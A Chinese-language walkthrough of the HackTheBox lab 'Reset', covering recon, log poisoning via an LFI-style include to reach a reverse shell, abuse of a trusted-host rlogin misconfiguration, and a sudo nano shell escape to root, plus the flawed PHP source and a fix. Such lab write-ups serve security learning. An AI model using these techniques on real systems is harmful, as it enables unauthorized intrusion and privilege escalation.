靶機簡介

在 Reset 網站中我們發現重設密碼的 API 會直接回傳新密碼,登入後利用 Log Poisoning 取得 RCE。接著利用組態錯誤,在攻擊機上建立同名的 sadm 帳號,就能免密碼 rlogin 登入靶機的 sadm 帳號。最後我們在執行中的 tmux session 找到密碼,利用 sudo nano 取得 root shell。

Academy x HTB Labs

Box Info

Recon

首先一定是 nmap 伺候:

$ nmap -sC -sV -p 22,80,512,513,514 10.129.32.59 -vv -oA nmap/specific_ports
...<SNIP>...
PORT    STATE SERVICE REASON         VERSION
22/tcp  open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 6a:16:1f:c8:fe:fd:e3:98:a6:85:cf:fe:7b:0e:60:aa (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIyAf6GPee+rQqSK2Xs/sDBPHvOh109nei1YDinqEqeQRyHAu7cYctKMIK5CFZojCtyJqLBB5Tmw7v6si1cjyBY=
|   256 e4:08:cc:5f:8e:56:25:8f:38:c3:ec:df:b8:86:0c:69 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILiu1L4RnPAcunzYAHckqjzFY2I4PHhzCheH+7SMZKnS
80/tcp  open  http    syn-ack ttl 63 Apache httpd 2.4.52 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Admin Login
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.4.52 (Ubuntu)
512/tcp open  exec    syn-ack ttl 63 netkit-rsh rexecd
513/tcp open  login?  syn-ack ttl 63
514/tcp open  shell   syn-ack ttl 63 Netkit rshd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
...<SNIP>...

我們先去網站看看,編輯 /etc/hosts

10.129.32.59    reset.htb

在這個階段我也有先去 HackTricks 看 512, 513, 514 相關的資料,但大多都是和密碼爆破相關,或是目前還無法取得的資訊,所以就先放著(結果到後面直接忘記了 ...)

首先 http://reset.htb 跳出一個登入視窗:

點點看 Forgot Password,並且輸入 admin 以後:

從 proxy 重新送出一次看看發生了什麼:

哇不是吧老哥???我第一次看到這種操作,直接輸入 admin:69bf3b32 就進去了 … 進去以後是一個可以看 log 的儀表板,有 syslogauth.log 可以選:

然而 View Logs 送出以後卻顯示 Invalid file path

Shell as www-data

ffuf 了常見目錄和檔案,沒有什麼收穫,有找到一些 Forbidden 的頁面,但改基本的 HTTP verbs 沒有用,所以我先去 proxy 看 View Logs 都做了什麼:

簡單的手刷幾個常見的 OS Command Injection 繞過字元,但都直接顯示 Invalid file path。用 ffuf 刷刷看有沒有 LFI:

$ ffuf -X POST -w /home/abb00717/Tools/Wordlist/Security-Wordlist/LFI-WordList-Linux -u 'http://reset.htb/dashboard.php' -request req.txt -fs 0,1985
...<SNIP>...
/proc/self/fd/7         [Status: 200, Size: 295594, Words: 23810, Lines: 1213, Duration: 185ms]
/var/log/apache2/access.log [Status: 200, Size: 356830, Words: 28670, Lines: 1456, Duration: 126ms]
/var/log/kern.log       [Status: 200, Size: 2074, Words: 481, Lines: 43, Duration: 118ms]
/var/log/kern.log.1     [Status: 200, Size: 130505, Words: 21624, Lines: 1284, Duration: 64ms]
/var/log/syslog.1       [Status: 200, Size: 137012, Words: 22616, Lines: 1346, Duration: 90ms]
:: Progress: [771/771] :: Job [1/1] :: 300 req/sec :: Duration: [0:00:03] :: Errors: 0 ::

結果意外刷到許多 log,其中 /var/log/apache2/access.log

喔?感覺可以 Log Poisoning 喔,改 User-Agent 看有沒有反應:

確實可以!那就好辦了:

送出後執行:

$ nc -lvnp 6061
listening on [any] 6061 ...
connect to [10.10.17.56] from (UNKNOWN) [10.129.32.59] 45826

$ ls
dashboard.php
index.php
private_34eee5d2
reset_password.php

升級 shell 以後:

www-data@reset:/var/www/html$ ls -al /home
total 16
drwxr-xr-x  4 root  root  4096 Jun  2  2025 .
drwxr-xr-x 19 root  root  4096 Jun  4  2025 ..
drwxr-x---  5 local local 4096 Jun  2  2025 local
drwxr-xr-x  4 sadm  sadm  4096 Jun  4  2025 sadm

喔齁 sadm 這麼大方,大家都可以讀?

www-data@reset:/var/www/html$ ls -al /home/sadm
total 36
drwxr-xr-x 4 sadm sadm 4096 Jun  4  2025 .
drwxr-xr-x 4 root root 4096 Jun  2  2025 ..
lrwxrwxrwx 1 sadm sadm    9 Dec  6  2024 .bash_history -> /dev/null
-rw-r--r-- 1 sadm sadm  220 Dec  6  2024 .bash_logout
-rw-r--r-- 1 sadm sadm 3771 Dec  6  2024 .bashrc
drwx------ 2 sadm sadm 4096 Jun  2  2025 .cache
drwxrwxr-x 3 sadm sadm 4096 Jun  2  2025 .local
-rw-r--r-- 1 sadm sadm  807 Dec  6  2024 .profile
-rw------- 1 sadm sadm    7 Dec  6  2024 .rhosts
-rw-r--r-- 1 root root   33 Apr 10  2025 user.txt

www-data@reset:/var/www/html$ cat /home/sadm/user.txt
19ba************************69a4

嘿嘿~

Shell as sadm

在原本的 /var/www/html 下面,有看到一個 db.sqlite

www-data@reset:/var/www/html$ find .
.
./private_34eee5d2
./private_34eee5d2/db.sqlite
./reset_password.php
./index.php
./dashboard.php

www-data@reset:/var/www/html$ sqlite3 private_34eee5d2/db.sqlite
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.

sqlite> .databases
main: /var/www/html/private_34eee5d2/db.sqlite r/w

sqlite> .tables
users

sqlite> .schema users
CREATE TABLE users (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    username TEXT NOT NULL UNIQUE,
    password_hash TEXT NOT NULL,
    is_admin INTEGER DEFAULT 0
);

sqlite> SELECT * FROM users;
1|admin|c9fe6311d3058bfcb59b7e0fc27ef46bde63cd00|1

但很可惜,裡面只有我們之前換過密碼的 admin。接著我直接丟 linpeas.sh 下去開炸,其中有看到一個 sadm 開的 tmux session:

sadm        1147  0.0  0.1   8636  3852 ?        Ss   02:51   0:00 tmux new-session -d -s sadm_session
/tmp/tmux-33

如果拿到 sadm 可以進去看看,但除此之外我並沒有看到什麼其他有用的資訊。後來直接去看 Guided Mode 的提示:

喔?

www-data@reset:/tmp$ cat /etc/hosts.equiv
# /etc/hosts.equiv: list  of  hosts  and  users  that are granted "trusted" r
#		    command access to your system .
- root
- local
+ sadm

host.equiv(5) 看以後我驚呆了:

Be extremely careful when using the plus (+) sign. A simple typographical error could result in a standalone plus sign. A standalone plus sign is a wildcard character that means “any host”!

所以我只要自己加一個叫做 sadm 的使用者就可以進去了?

$ sudo useradd -m sadm
[sudo] password for abb00717:

$ sudo su - sadm

$ id
uid=1001(sadm) gid=1001(sadm) groups=1001(sadm)

$ rlogin -l sadm reset.htb
...<SNIP>...
sadm@reset:~$

還真是這樣 …

Shell as root

終於可以打開我心心念念的 tmux session 了:

sadm@reset:~$ tmux ls
sadm_session: 1 windows (created Thu Aug 27 02:51:43 2026)

sadm@reset:~$ tmux attach -t sadm_session

猜猜我看到了什麼?

老哥你該不會想要輸入密碼吧 xD 於是我就拿去 sudo -l 試了一下,結果還真是:

sadm@reset:~$ sudo -l
[sudo] password for sadm:
Matching Defaults entries for sadm on reset:
    env_reset, timestamp_timeout=-1, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, !syslog

User sadm may run the following commands on reset:
    (ALL) PASSWD: /usr/bin/nano /etc/firewall.sh
    (ALL) PASSWD: /usr/bin/tail /var/log/syslog
    (ALL) PASSWD: /usr/bin/tail /var/log/auth.log

看到 /usr/bin/nano /etc/firewall.sh,那接下來好辦啦~直接去 GTFOBins 依樣畫葫蘆就可以了:

sudo /usr/bin/nano /etc/firewall.sh
^R^X
reset; sh 1>&0 2>&0

就拿到 root shell 啦:

# id
uid=0(root) gid=0(root) groups=0(root)

# ls /root
root_279e22f8.txt  snap

# cat /root/root_279e22f8.txt
7ad6************************29b0

Bonus

覺得這次的看提示是可以避免的,因為在前面 nmap 就有掃到了:

512/tcp open  exec    syn-ack ttl 63 netkit-rsh rexecd
513/tcp open  login?  syn-ack ttl 63
514/tcp open  shell   syn-ack ttl 63 Netkit rshd

以後掃到一些服務可以先記著,進去就可以看看有沒有相關的錯誤組態,這次就因為 login 相關的 /etc/hosts.equiv 而找到提權方式。而且我在看 sadm 的 home 目錄,其實就有看到 .rhosts,那時若順著相關組態去找,應該也摸的到 /etc/hosts.equiv

在 HackTricks 上明明也有講到啊:

rexec itself uses password authentication, unlike rsh / rlogin trusted-host logic, but in practice they often arrive from the same legacy package (openbsd-inetd, inetutils, vendor UNIX bundles). If TCP 512 is open, immediately check TCP 513 and 514 as well because .rhosts / /etc/hosts.equiv abuse may offer easier lateral movement:

QQ


偷看了一下 dashboard.php 的程式碼:

<?php
session_start();

if (!isset($_SESSION['admin'])) {
    header('Location: index.php');
    exit;
}

define('ALLOWED_BASE_DIR', '/var/log');
function isValidFile($filePath) {
    $realPath = realpath($filePath);
    return $realPath && strpos($realPath, ALLOWED_BASE_DIR) === 0;
}

$logs = [];
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $file = $_POST['file'];
    if (isValidFile($file)) {
        if (is_readable($file)) {
            ob_start();
            include($file);
            $logs = explode("\n", ob_get_clean());
        } else {
            $logs = ["Cannot read $file"];
        }
    } else {
        http_response_code(400);
        $logs = ["Invalid file path"];
    }
}
?>

可以看到,它就是因為用了 include 所以 Log Poisoning 才得以成功的,應該使用 readfile 就好,詳細講解直接看 0xdf 的 writeup 就好。

延伸閱讀